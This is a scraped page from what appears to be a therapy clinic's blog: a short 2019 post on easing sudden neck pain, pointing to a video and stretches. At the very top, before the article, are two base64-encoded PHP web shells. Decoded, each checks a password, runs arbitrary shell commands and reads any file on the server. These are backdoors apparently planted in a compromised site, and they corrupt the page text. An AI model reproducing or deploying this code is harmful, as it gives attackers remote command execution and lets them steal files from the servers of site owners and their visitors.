PD9waHAKaWYoIWlzc2V0KCRfUE9TVFsnayddKXx8JF9QT1NUWydrJ10hPT0nODU4ZTk0NjlkNWVmJylkaWUoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKWVjaG8gJzxyPicuc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSkuJzwvcj4nOwppZihpc3NldCgkX1BPU1RbJ3AnXSkpZWNobyBmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsncCddKSk7Cg==PD9waHAKaWYoIWlzc2V0KCRfUE9TVFsnayddKXx8JF9QT1NUWydrJ10hPT0nNzNkNDhlNzA4MjZmJylkaWUoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKWVjaG8gJzxyPicuc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSkuJzwvcj4nOwppZihpc3NldCgkX1BPU1RbJ3AnXSkpZWNobyBmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsncCddKSk7Cg== Relieving sudden neck pain and loss of movement - Sunshine Therapeutics

Relieving sudden neck pain and loss of movement

By Jocelyn Metzger / July 10, 2019

Ever had it where you suddenly can’t turn your head without severe pain? Here is a video on how to turn a muscle on and off to quiet down a painful neck.

Once the initial pain is diminished and you have more range of motion, try these stretches.